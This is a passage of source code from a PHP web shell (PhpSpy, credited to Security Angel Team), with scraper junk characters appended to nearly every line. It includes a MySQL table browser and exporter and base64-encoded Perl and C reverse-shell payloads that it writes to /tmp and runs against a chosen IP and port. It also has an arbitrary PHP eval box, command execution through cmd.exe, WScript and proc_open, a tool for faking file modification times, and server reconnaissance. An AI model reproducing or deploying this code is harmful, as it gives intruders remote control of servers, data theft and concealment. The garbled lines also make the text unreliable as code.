  1019.                                         }3 w1 K  ~2 K6 f& ]+ R. u
  1020.                                 }0 e' d8 O2 U/ c" d- k
  1021.                         } else {4 a0 z; y* y* x! I# _
  1022.                                 $query = q("SHOW TABLE STATUS");* P8 a! j  z3 A
  1023.                                 $table_num = $table_rows = $data_size = 0;  i0 U# m; ~) M% t" I8 i1 }, m( {
  1024.                                 $tabledb = array();
    3 W$ |  p5 V/ ^
  1025.                                 while($table = mysql_fetch_array($query)) {& U0 P4 X! @, i( E) p
  1026.                                         $data_size = $data_size + $table['Data_length'];
    ! ^. L$ ?. T& R' @! q% t% V
  1027.                                         $table_rows = $table_rows + $table['Rows'];
    + h! ?3 O7 }5 e8 H* A" {
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);/ n& |$ M; L# b9 d
  1029.                                         $table_num++;7 ^4 k0 o5 L* e  [" E
  1030.                                         $tabledb[] = $table;, G- E5 O" r; ~8 p: x
  1031.                                 }, f  w$ l. ~, g; f# g
  1032.                                 $data_size = sizecount($data_size);
    & B" }* P' k) L. z; R
  1033.                                 unset($table);0 x5 a  y. ]3 T% ^+ ^. n
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');. v' I' b0 I& V- |5 f9 N& U
  1035.                                 p('<form action="'.$self.'" method="POST">');8 y# l5 ]# Z% j' c/ }" n
  1036.                                 makehide('action','sqladmin');' y* l( M  {7 R' Z
  1037.                                 p($dbform);
    % q& t# n. }1 e
  1038.                                 p('<tr class="head">');
    1 V7 A& L+ m1 c/ D/ f$ Z
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    # T, f2 }( P/ K( L
  1040.                                 p('<td>Name</td>');. ?+ D* L! R; |' F7 @/ S% m# L
  1041.                                 p('<td>Rows</td>');. I: K3 f  g( `( K8 V4 p$ c
  1042.                                 p('<td>Data_length</td>');
    1 _& J0 Z+ w5 T  i6 |8 o
  1043.                                 p('<td>Create_time</td>');; e- H" t5 U. y5 t! y# R. J% L
  1044.                                 p('<td>Update_time</td>');
    * t% r1 Y+ _, g* g+ q+ V; E
  1045.                                 if ($highver) {6 h8 k" F/ G) P5 M3 q
  1046.                                         p('<td>Engine</td>');
    ! @# q# \  O+ J5 L% a& g
  1047.                                         p('<td>Collation</td>');8 {3 @# o% h6 Z- Q' z
  1048.                                 }, G$ H* }1 N+ ^7 j$ X
  1049.                                 p('</tr>');" t+ b7 L$ T) r
  1050.                                 foreach ($tabledb as $key => $table) {
    5 `5 h  X( A5 N7 @! [
  1051.                                         $thisbg = bg();
    * O3 a( o1 d9 c) m# L: c8 A5 ~
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    3 P9 D, T3 K8 A. @" D
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    * P/ Q/ o/ d! a
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    " ~5 |6 `+ a+ o# x
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    % q" p2 v& P6 S2 R
  1056.                                         p('<td>'.$table['Data_length'].'</td>');2 x$ x! f3 ?; x
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
    9 w+ ~2 O, J% ~# s8 Q1 R2 Y
  1058.                                         p('<td>'.$table['Update_time'].'</td>');
    ( r$ V" k7 R& z' l% ?
  1059.                                         if ($highver) {# L% X1 S: _6 L, z& k$ q1 N
  1060.                                                 p('<td>'.$table['Engine'].'</td>');& g6 X/ w! D* P) u) N
  1061.                                                 p('<td>'.$table['Collation'].'</td>');9 p/ f, t1 c6 U  b6 N3 w
  1062.                                         }2 v4 s9 J( n* X  Q5 S! T# V
  1063.                                         p('</tr>');
    " d$ J/ T5 @+ J' ~' Q& f6 P& i
  1064.                                 }/ w4 @  |) }; K$ [8 B5 n
  1065.                                 p('<tr class='.bg().'>');
    9 J# ^* P$ ?" y1 H% [* v% p
  1066.                                 p('<td> </td>');: Z( l6 c# Y. X3 k
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    4 a) v) N. Y$ r9 O/ ]& o
  1068.                                 p('<td>'.$table_rows.'</td>');
    ' u) y: k7 C' O% ^8 ^
  1069.                                 p('<td>'.$data_size.'</td>');  H$ v0 v2 d' g7 h5 F- J
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
    ! ]# |8 r; w% c
  1071.                                 p('</tr>');! w6 _3 y  F1 h- N4 P5 ]! j" e
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");4 H0 {& P4 v3 f. c" U6 k
  1073.                                 makehide('doing','backupmysql');. p$ |) [+ a  O0 Z1 A8 Y
  1074.                                 formfoot();
    - \4 z( B) T  H8 N, h2 Z
  1075.                                 p("</table>");; M, h# L8 E% f6 Y! u" A6 O: o
  1076.                                 fr($query);
    4 o) O1 Q/ Z3 P' \9 Y
  1077.                         }  _" M; E4 t( e7 r; ~& S- C
  1078.                 }
    6 b# z0 s; k' _* R% `# m: a
  1079.         }
    7 \8 s, K) j! a3 M
  1080.         tbfoot();
    2 n7 R" y# l/ |4 Q* Z2 f
  1081.         @mysql_close();
    . M( C# s, Y/ q$ |
  1082. }//end sql backup9 x& |5 D7 {* B' g$ E- I2 L% X
  1083. elseif ($action == 'backconnect') {' V# L: k! w" L  C2 r
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    3 g0 K* E3 n! |# \
  1085.         !$yourport && $yourport = '12345';
    - n$ T8 \- e2 P0 t* x
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
    - c: N, M; N: n' [0 P1 B/ W; `* l
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".8 B0 i) ]7 H; c; D* y6 S1 I
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".# Z1 D4 ^* z) i! D
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    1 Q; l5 A4 k- V8 ~/ d
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    $ {& Z& y5 F2 a( y0 Q7 a* t2 A
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".8 Z- I/ k' z0 V' Y: L
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".; X, r1 n* x: i2 o/ K+ p
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $ {" _, P3 [+ G5 T
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".3 h! u2 y% w) @  C
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".* P; J/ t9 A4 I/ z7 F/ ~
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
    ; ]0 @& I+ |, b% K5 Q
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
    " }+ Q: @3 v# i- I, E# p1 W7 D& M+ s
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
      Q5 G, k3 E, R) \  e" b5 Y
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
    1 p# W! f& o8 }7 d' a2 ?
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".% }& z7 j* t6 v1 |! n
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    8 s$ d$ a) l, n1 i4 y5 o3 W
  1102.         if ($start && $yourip && $yourport && $use){- f, M- L3 C$ t! k+ Y
  1103.                 if ($use == 'perl') {( Q5 S7 s/ O: k& l0 Q$ p
  1104.                         cf('/tmp/angel_bc',$back_connect);" y' w& [" k0 A8 J
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");6 f" `- T/ Q  P0 P' D
  1106.                 } else {9 e6 ?3 I+ n6 `1 p/ z; o* c
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);' B, h. I8 D, ]0 R4 E* ]
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');. u/ ^( F5 }* C! ]1 w1 x% I7 o
  1109.                         @unlink('/tmp/angel_bc.c');' }2 F! B- N& X9 v: @
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");8 g9 C5 ~$ V+ w% X
  1111.                 }
    * y" f- F  U9 ?7 I! K- H" Q
  1112.                 m("Now script try connect to $yourip port $yourport ...");
      g! M' }, \- d1 j) P. |) e0 Q
  1113.         }
    7 z, `4 P) V8 W  g" q
  1114.         formhead(array('title'=>'Back Connect'));* ~/ B7 r; T; A* v
  1115.         makehide('action','backconnect');2 d1 _* S/ h, J$ R) z; Z
  1116.         p('<p>');
    . F8 ~" Z) D% _/ z) A9 U7 r6 X+ D
  1117.         p('Your IP:');9 \3 s$ l; h9 x% [: |
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));" p+ P% |' Q% C  C  U
  1119.         p('Your Port:');  f8 w9 G- I3 C9 \9 J
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));* i# {8 X6 A% @# i6 Z( F
  1121.         p('Use:');
    ) K% Z" e; _, D5 X
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
    9 {$ B8 R; d+ A/ Z3 F- W, b5 {# I9 L  v
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));7 G$ H& z/ l3 l  @' y/ {
  1124.         p('</p>');# ?) G/ G1 N. N- ?
  1125.         formfoot();  o9 J  p- l* R& }
  1126. }//end sql backup
    . ~) j7 z9 K- i
  1127. elseif ($action == 'eval') {
    : h9 r/ \' h+ [0 }
  1128.         $phpcode = trim($phpcode);6 U7 T# c1 t6 B- h. b
  1129.         if($phpcode){# @5 Z8 v/ N( }8 c* [
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    1 e1 a. W! c( W3 U2 W
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";) }1 t- Y1 t6 @
  1132.                 }/ ]4 N1 A6 ~2 E* ]
  1133.                 eval("?".">$phpcode<?");9 D8 v. S. y0 N
  1134.         }3 N; u. n9 l* ^- e; G
  1135.         formhead(array('title'=>'Eval PHP Code'));9 U& V( N8 ^6 Q2 F& E6 ^
  1136.         makehide('action','eval');
    1 ^8 A; [: U+ I9 d, _7 ~
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    2 u3 ?7 A* i+ {) X9 c& [
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');0 T4 \* C) P; E5 v* T
  1139.         formfooter();
    % Y) w4 `0 P5 A
  1140. }//end eval8 ~. N# D2 j* Q& E3 k" x/ n

  1141. 9 g& P  b) e& V! {
  1142. elseif ($action == 'editfile') {7 g6 |+ \- [6 v3 f
  1143.         if(file_exists($opfile)) {
    + F/ k! \( W. ~
  1144.                 $fp=@fopen($opfile,'r');; P4 S% U+ i8 f# ]; [) z: J5 K
  1145.                 $contents=@fread($fp, filesize($opfile));
    3 _4 P) B, `+ Y9 T* v& s
  1146.                 @fclose($fp);
    4 O1 A* [* \5 O2 u; {; \3 D! O+ i# N
  1147.                 $contents=htmlspecialchars($contents);% ~2 Y+ Z0 n( `! F( L: R7 K9 Q
  1148.         }; w0 o& M* \2 |4 @- I" X% {. N
  1149.         formhead(array('title'=>'Create / Edit File'));
    * Q* ]$ T" L7 p- o
  1150.         makehide('action','file');9 P4 P, E7 k4 V* \
  1151.         makehide('dir',$nowpath);
    6 v% T1 R( t+ I6 ~3 a! t0 B; @
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));& H0 Z( H& Q  k" D. x: ]/ }- z* X
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    0 y, _, \* [) j9 x
  1154.         formfooter();7 ?4 g" ^) `( u# N3 L8 N" ]
  1155. }//end editfile
    2 h; p1 h+ H  ?5 z6 U
  1156. 9 {9 N3 x, Z! ]( y3 j3 d( k& ^
  1157. elseif ($action == 'newtime') {
    . @5 f1 b7 s- r7 [$ Z+ G6 y
  1158.         $opfilemtime = @filemtime($opfile);- G: W1 ~1 J- i% i3 c0 u( N
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");6 s; C/ b  R' W, }4 j
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);+ n, N5 h" c( B  d( F9 Z- Q
  1161.         formhead(array('title'=>'Clone file was last modified time'));
    1 l' s: m+ x* F  f' I# g& w! Z! S2 I
  1162.         makehide('action','file');4 ?: ^; P" m+ a/ s) g% }
  1163.         makehide('dir',$nowpath);4 @% L) u  E* {4 c' |7 ]
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    5 y9 B% o# W4 F
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
    # T! A8 k+ n& b8 {* W3 N
  1166.         formfooter();+ x' A# O' G& e/ ~! m
  1167.         formhead(array('title'=>'Set last modified'));/ }# ^0 }8 A  T1 D" ^' t
  1168.         makehide('action','file');
    , z2 K  U" w) Z
  1169.         makehide('dir',$nowpath);
    % V8 p' _+ W3 x1 G, y
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    9 ~, C) N5 _1 i+ R! b
  1171.         p('<p>Instead »');2 \. C- V0 y- L  y
  1172.         p('year:');
    8 n& J6 @+ Z1 l- \7 N
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
    1 P2 n% ]4 K0 J, O
  1174.         p('month:');
    & C7 y2 Z; V% x8 [# O
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));, w: ~; e# a$ {+ ~
  1176.         p('day:');
    9 c. G1 A: Z& n+ |% W2 T* C0 }; t
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
    * W# H& I4 n; `7 n) Q
  1178.         p('hour:');
    : q/ }2 W, _& x& v8 Q. }& B" N6 P
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    & C9 [8 ]# D. |& g8 ~9 Q
  1180.         p('minute:');
    & F& f1 O" U' c, E$ _
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    % n+ d8 C7 D+ M, C' R7 y( ~5 s
  1182.         p('second:');' l+ R3 j0 S, I9 p# n
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));+ m" k# n2 I# y6 z% w# k
  1184.         p('</p>');
    ( |4 {0 B7 V5 s, e% s
  1185.         formfooter();' N4 p) J* j1 F% U
  1186. }//end newtime
    ) ~& R. o) G4 Q4 q
  1187. , P8 t: ?) W/ a) J
  1188. elseif ($action == 'shell') {: u1 Q  }  z7 c- _
  1189.         if (IS_WIN && IS_COM) {  d% U. b7 b7 S" u0 x: T
  1190.                 if($program && $parameter) {* Z' m' K* I0 J# @5 B  t; N: d
  1191.                         $shell= new COM('Shell.Application');3 j0 A/ f9 C& ~( l6 R; L; j8 a
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    # e  o  |% j% b  W! e7 _: K
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));4 k7 y$ }0 c; V
  1194.                 }
    7 Q( w- W3 s$ d: C* i0 U, X6 K0 ~+ @
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    5 x' X) Y( O" Q9 c4 ]; P
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
    / U$ k) C4 J* y8 f3 \
  1197.                 formhead(array('title'=>'Execute Program'));7 E& i) _2 ^6 K
  1198.                 makehide('action','shell');7 p2 M( E5 ^& v% O# o! Y2 E7 {; w: x
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));4 ~& {# k+ V0 O
  1200.                 p('<p>');
    8 @7 t- r% T) e9 M% A) d: k
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    * `, I5 D5 V0 J, `1 f
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    % r2 s2 t2 O' z
  1203.                 p('</p>');
    ' j7 p/ [  p% t, \4 H. O9 Y* Q
  1204.                 formfoot();: A  _; z. E' r  }) q1 @$ E
  1205.         }. [" }- L  w+ V$ U
  1206.         formhead(array('title'=>'Execute Command'));
    , `2 `  }. {9 m3 Q+ B$ I
  1207.         makehide('action','shell');
    1 c0 d  `. A; o8 Y# o, Z( T
  1208.         if (IS_WIN && IS_COM) {
    % `" f7 x8 V7 U. |( m1 ~% I1 L
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');! c. w/ k+ B' d1 H( i. h
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    # Z* o# @/ [& g1 Y# Y: y
  1211.         }+ w2 K- F9 q* e8 Q6 c( Y
  1212.         p('<p>');
    3 u$ V: E  Z- }3 K5 ?/ N  o
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    : L+ a1 \) `5 {
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));: x$ V; r- w# C2 l5 o, s! |; w
  1215.         p('</p>');3 y- K8 ?9 h, H6 o9 _
  1216.         formfoot();
    & n2 R7 ~' m) A6 A
  1217. % N% z2 u8 V+ f8 i6 b
  1218.         if ($command) {
    4 a$ {2 D, g! ^, m. N7 q
  1219.                 p('<hr width="100%" noshade /><pre>');
    * j# {; {3 p2 e3 C" J
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
    4 f+ t1 E: o4 ^8 K$ _$ E2 U
  1221.                         $wsh = new COM('WScript.shell');
    " c+ r' B$ t; ~8 ?& P
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);+ t( b8 B4 E0 A# A# a; @$ c
  1223.                         $stdout = $exec->StdOut();
    0 v+ s* v. |3 Q# ^7 m% L$ J# [/ e; p
  1224.                         $stroutput = $stdout->ReadAll();5 s# v( p* Q5 h. a/ W
  1225.                         echo $stroutput;4 j/ z: M. b3 ]! ]
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {3 C# v9 K5 E6 y% f3 C* {+ }' E
  1227.                         $descriptorspec = array(
    + }9 f6 Q3 l/ T; f, `; M/ ]: \
  1228.                            0 => array('pipe', 'r'),
    8 F' [: {& M8 W
  1229.                            1 => array('pipe', 'w'),) B; V; s9 F) p8 d7 `+ J* P
  1230.                            2 => array('pipe', 'w')
    2 t% p" l- A4 Y1 w$ C
  1231.                         );' v! W5 m' m9 j" Z! d! q/ z
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    7 f, Z( G3 u- ]- [* C
  1233.                         if (is_resource($process)) {
    ( Y2 ?* R: k6 C- X$ h4 M, U
  1234.                                 fwrite($pipes[0], $command."\r\n");
    3 V5 K" D1 a8 L0 a
  1235.                                 fwrite($pipes[0], "exit\r\n");
    5 f. r1 e$ `( s) r; I2 k! R2 d
  1236.                                 fclose($pipes[0]);) F, Z( n2 ?5 U. @* G
  1237.                                 while (!feof($pipes[1])) {2 j  K: g, D3 }* Z1 _% x
  1238.                                         echo fgets($pipes[1], 1024);
    * @8 S# a; u# _$ ^
  1239.                                 }7 t6 J6 J7 b$ D6 A9 `  j7 T7 `
  1240.                                 fclose($pipes[1]);
    , R3 I; v: |0 j& T
  1241.                                 while (!feof($pipes[2])) {
    8 Y" i- x1 ?, j0 i: D2 [
  1242.                                         echo fgets($pipes[2], 1024);
    7 K+ l7 c1 [# `
  1243.                                 }
    3 n) n2 [2 _6 R- b- S
  1244.                                 fclose($pipes[2]);
    6 e! C8 r  `5 }; _3 C
  1245.                                 proc_close($process);, V% X) I, |! Q4 T
  1246.                         }3 t- u; G; N4 @" Y  J9 x: O
  1247.                 } else {
    0 d/ @& T4 j; ~
  1248.                         echo(execute($command));
    " ~# Q: G% f  }' m& j# j
  1249.                 }6 o0 ~$ n3 |+ \" ~2 z0 r
  1250.                 p('</pre>');
    % L7 x/ u' B. Y$ F, W
  1251.         }
    ; \' H3 ?5 T' z" z+ Z0 v7 q
  1252. }//end shell! f; }9 ^3 E* g' Y: y
  1253. 3 I4 X9 {  w$ |- ]
  1254. elseif ($action == 'phpenv') {0 q' z  b: ?2 @5 y) b' E
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';/ \' k, \7 d& c9 ~4 v) Q
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    + ?/ I7 O2 ~1 @+ H8 Q/ `2 d& j1 H7 f
  1257.         !$dis_func && $dis_func = 'No';        7 m, L2 S% w# {
  1258.         $info = array(
    ' c* g! @- ^3 a  E& C/ ^0 u  [
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    0 l* K8 [6 S1 f& c" F) m
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),, C0 F! o( j4 H' G) J
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),3 P8 q1 R4 ]5 X; U  Y& m
  1262.                 4 => array('Server OS',PHP_OS),
    ) O# a3 R) |/ ?+ y
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    ; p9 o- f4 v3 v$ x; M
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
    & U8 s; N! L! N& N7 S9 p
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),0 ?# W3 y6 V3 i
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),* s- y1 V! `- ~+ e& Z: B' }% L+ D
  1267.                 9 => array('The file path',__FILE__),7 {: @: c) f) R/ e
  1268. : a: i8 Z* D8 V. q
  1269.                 10 => array('PHP Version',PHP_VERSION),/ o2 O7 r9 W+ u3 t/ g3 S4 q( e6 `
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),6 b! }; C# ^0 J) e+ t! u- R
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),1 w" k3 ^" h& E
  1272.                 13 => array('Administrator',$adminmail),' x8 g& Y. @; v* W$ Q
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),1 L1 Y* ]6 R8 T
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),! O/ e; @# z6 ]3 |! C6 V
  1275.                 16 => array('display_errors',getcfg('display_errors')),* l6 b% O1 t3 F6 u3 e9 ]# T5 `
  1276.                 17 => array('register_globals',getcfg('register_globals')),, y$ f* @$ u6 N8 [4 ~
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),$ {# ~. j( t+ ^. e  p$ a
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),3 }4 h  n, Z7 i2 Y3 C
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),: d, r+ s: B0 W7 {5 _8 C
  1280.                 21 => array('upload_max_filesize',$upsize),
    & y* \9 j8 F* ]5 j7 R9 J
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),1 w: O2 r. {" A0 A/ s
  1282.                 23 => array('disable_functions',$dis_func),
    * T$ }% w) J4 w3 B7 l
  1283.         );
    6 ]% K' l* w* U, t' I( X

  1284. 7 l) h6 u& A& c3 [( A
  1285.         if($phpvarname) {  A7 R3 d& i; \% i6 j0 i
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    - \" Q/ l0 D" G/ `) n8 q; n
  1287.         }; Z* R2 t- @1 M; A
  1288. 3 s$ M8 J2 k6 S
  1289.         formhead(array('title'=>'Server environment'));
    " p) _9 {6 R. z3 j* h1 Q
  1290.         makehide('action','phpenv');
    * M& T/ W1 J2 _( g4 N
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));) }1 D. Y2 Y  Y  r& j
  1292.         formfooter();
    ; {9 y. H, y; e' G1 @3 t; N
  1293. $ v' D5 `9 [; k5 j& t; U" d
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');- e# {  X6 u! A
  1295.         for($a=0;$a<2;$a++) {
    / m/ V1 D: C0 Y# q5 m
  1296.                 p('<h2>'.$hp[$a].' »</h2>');3 n0 _5 p3 D  ~0 {/ y5 `* d
  1297.                 p('<ul class="info">');7 |: \1 A. u. g! h, [* j  x
  1298.                 if ($a==0) {" K) s3 B  |- G" }8 |3 t3 p. J, s+ s
  1299.                         for($i=1;$i<=9;$i++) {# C' G, B8 c, _3 S1 P5 w" ^
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    ! _" D$ }' K. ]: F
  1301.                         }2 q8 j3 x' I, Z6 C; m  c% C6 n
  1302.                 } elseif ($a == 1) {; C+ C8 ^: R' f) R4 w
  1303.                         for($i=10;$i<=23;$i++) {7 I& N/ y# ~! |' G0 x2 \
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    2 G  r7 r- `! j/ k& C
  1305.                         }
    + ^9 m5 G* u9 U/ I! I
  1306.                 }; t4 h! \1 t0 c# E: K) U9 I
  1307.                 p('</ul>');
    - b( L' x2 s  e6 _
  1308.         }
    - a  z) j( H  H4 j
  1309. }//end phpenv
    1 G" F8 {1 i8 V9 A$ X
  1310. 7 I7 M: J& p1 h) N7 O
  1311. else {
    ) E" K9 }- K' v/ k8 t3 i0 _8 N$ V
  1312.         m('Undefined Action');) D% _5 N, C/ v1 k
  1313. }
    2 l5 D7 E% D1 |6 Z- Y

  1314. 8 e0 a( D1 j( U  l9 O3 n( N. Q
  1315. ?>2 x! @4 q% `  e; I- l1 b
  1316. </td></tr></table>5 i$ G! ?! F, O. Q  Q$ _) ]! P
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">9 [3 {# z. a% S) C; \; [+ _
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>) U/ _9 J# s% ~" K- [; Q& d
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
    0 ]  }8 b+ D6 K' [2 i
  1320. </div>
    9 t* K3 H1 q  S" f% T% x2 `
  1321. </body>
    ) `0 L# U2 p9 v1 a* ~
  1322. </html>' Y+ L+ M1 m9 O5 @
